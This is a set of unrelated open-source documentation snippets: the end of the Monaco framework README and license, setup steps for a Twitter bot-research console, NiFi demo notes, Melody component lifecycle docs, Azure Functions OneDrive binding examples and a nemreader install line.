- **monaco-views** - this module help you organize *master views* (screen views) and their subviews - [learn more](docs/modules/monaco-views.md).

- **monaco-transitions** - this module gives your application a way of setting up screen transitions, where each transition effect can be implemented based on your app requirements using any technology needed (e.g: javascript, css, or both) - [learn more](docs/modules/monaco-transitions.md).

- **monaco-multirequest** - this module allows you make multiple async fetch requests at once and to manage them appropriately - [learn more](docs/modules/monaco-multirequest.md).

- **monaco-analytics** - this module automatically sends a pageview tracking request every time you navigate to a different url and can be integrated with almost any analytics service provider - [learn more](docs/modules/monaco-analytics.md).

- **monaco-experiments** - this module allows you to create split tests (experiments) and divide your users appropriately; you can target different controllers, views, templates or template elements as you need - [learn more](docs/modules/monaco-experiments.md).

Monaco Command Line Interface (monaco-cli)
----

On top of all the features described above, ***Monaco*** also provides a really handy command line interface, that allows you get started with your projects and prototypes really fast. The use of **monaco-cli** is not required and you can build your apps using whatever structure of files and folders you want, but this tool is really handy if you need help creating the project file structure for your application. [Learn more](/docs/monaco-cli.md).

License
----

***Monaco*** is freely distributable under the terms of the MIT license.

Copyright(c) 2011-2013 Marcos Abreu

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
 IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

repository: ndaversa/monaco

repo_name: ndaversa/monaco


text:
# BOTS-IL console

This console is built to allow basic research on the twitter API.

Several add-ons allows connecting to the project database and comparing data from the known bot-networks to assist in the research.

The application uses [Application-only authentication](https://developer.twitter.com/en/docs/basics/authentication/overview/application-only) tokens, so no user details are required, just basic app credentials.

## Installation

First, clone the repository
```bash
git clone https://github.com/noam-r/bots-il.git
```
Run composer ([Installation instructions in case you don't have it installed](https://getcomposer.org/doc/00-intro.md))
```bash
composer update
```
Prepare your environment file
```bash
mv .env.example .env
```
Edit the file with your favorite editor to enter a **CONSUMER_KEY** and a **CONSUMER_SECRET** (if you don't have any, you can [create some](https://developer.twitter.com/en/docs/basics/authentication/guides/access-tokens.html) or just ask a friend).

optional: you can make the script executable to avoid using "php" in the beginning:
```bash
chmod +x botsil.php
```

Once you have the envronment set up, you should run:
```bash
./botsil.php token
```

You will get a token, which you will need to copy and place into your **.env** file as:
```bash
TWITTER_TOKEN = [whatever you received in the previous step]
```

That's it - you're ready to roll.

## Usage

Basic usage looks like:

```bash
./botsil.php profile [username]
```

If you have credentials for the Bots-IL project API, you will need to get

repository: noam-r/bots-il

repo_name: noam-r/bots-il


text:
Instructor led demos
====================

This area is primarily for demos shown during the day by the instructor.

The main demo is based on a twitter collection pipeline and is intended to demonstrate:

1. back pressure
2. pressure release
3. lineage and provenance
4. resubmission

Note that when using the twitter demo you will need to specify valid twitter api credentials from https://apps.twitter.com/. The template will not save these by design thanks to NiFi's sensitive value handling.

repository: seanorama/masterclass-hdf

repo_name: seanorama/masterclass-hdf


text:
# Lifecycle

Melody Components have a lifecycle that you can tap into to enhance them.

## `componentDidInitialize()`

Called right after the initialization of the component.

## `componentWillMount()`

Called during the initial rendering of the component, just before the
component receives its properties and is rendered.

## `componentDidMount()`

Called during the initial rendering of the component, just after the
component has been rendered.

## `componentWillUnmount()`

Called when a component is no longer used and should be implemented
to clean up any references accumulated throughout the components lifecycle.

For example, the default implementation will remove the `el` from the
component, making it easier for the garbage collector to remove it.

## `shouldComponentUpdate(nextProps, nextState): boolean`

Invoked for every render except the initial one. If it returns `false`,
the component will be skipped and won't be re-rendered. Instead, the
current rendering result is being used as is.

The default implementation will use reference equality to check if the state
has been changed and will only return `true` if `nextState !== this.state`.

If there has been any change to the components state, it is contained within
the `nextState` parameter while `this.state` always refers to the last
rendered state. The same is true for `nextProps` and `this.props`.

## `componentWillUpdate(nextProps, nextState)`

Called just before a component is rendered except for the initial rendering.
`nextProps` and `nextState` are the same as in `shouldComponentUpdate` and
the `this.props` and `this.state` properties have not been updated yet.

## `componentDidUpdate(prevProps, prevState)`

Called just after a component has been rendered except for the initial
rendering. When this method is invoked, `this.state` and `this.props`
will have been updated to their current values and their previous
values are provided as `prevProps` and `prevState` to this method.

repository: trivago/melody-web

repo_name: trivago/melody-web


text:
### MS Graph OneDrive Binding

#### Summary
This output binding can be used to update the contents of a file stored in a user's OneDrive. The authentication information provided must correspond to a user with access to the desired file.

#### Settings for MS Graph OneDrive Binding
The settings specify the following properties.

- `name` : The variable name used in function code for the OneDrive file.
- `direction` : Must be set to *out*.
- `Type` : Must be set to *OneDrive*.
- `Path` : Path from root OneDrive directory to file (e.g. Documents/test.txt).
- `PrincipalId` : Should be set to either an app setting containing the Principal ID/OID to be used to communicate with MS Graph or an expression to evaluate to a Principal ID/OID
- `idToken` : Should be set to an expression that evaluates to an ID token. Either Principal ID or ID token must be set, but not both.

#### Example function.json
function.json is language independent, but not all triggers are supported by all languages.
```json
{
  "bindings": [
    {
      "type": "timerTrigger",
      "direction": "in",
      "name": "timer",
      "schedule": "0 45 9 * * *"
    },
    {
      "type": "onedrive",
      "name": "output",
      "Path": "Documents/test.txt",
      "PrincipalId": "%Identity.<alias>%",
      "direction": "out"
    }
  ],
  "disabled": false
}
```

#### Language Support
##### C#

###### Example code
```csharp
using System.Text;

// Update contents of file
public static void Run(TimerInfo timer, TraceWriter log, out byte[] file)
{
	file = Encoding.UTF8.GetBytes("Update contents of specified file");
}
```

###### Supported types

The data used to update a file can come from any of the following types:

* byte[]
* Stream

##### Python
###### function.json
```json
{
  "bindings": [
    {
      "authLevel": "anonymous",
      "type": "httpTrigger",
      "direction": "in",
      "name": "req",
      "methods": [
        "post"
      ]
    },
    {
      "type": "onedrive",
      "name": "fileOutput",
      "Path": "Documents/test.txt",
      "PrincipalId": "Identity.alias",
      "direction": "out"
    }
  ],
  "disabled": false
}
```

###### Example code

```python
import os
import json

# Write value of json property of HTTP Request to file
postreqdata = json.loads(open(os.environ['req']).read()) # read HTTP request

data = open(os.environ['fileOutput'], 'w')
data.write(postreqdata['testProperty'])
data.close()
```

###### Supported types
Output file data can come from any of the following types:

* string

repository: AzureMentor/azure-functions-templates

repo_name: AzureMentor/azure-functions-templates


text:
---
title: Installation
---

Install and update using
[pip][pip]:

[pip]: https://pip.pypa.io/en/stable/quickstart/

``` bash
pip install nemreader
```

repository: aguinane/nem-reader

repo_name: aguinane/nem-reader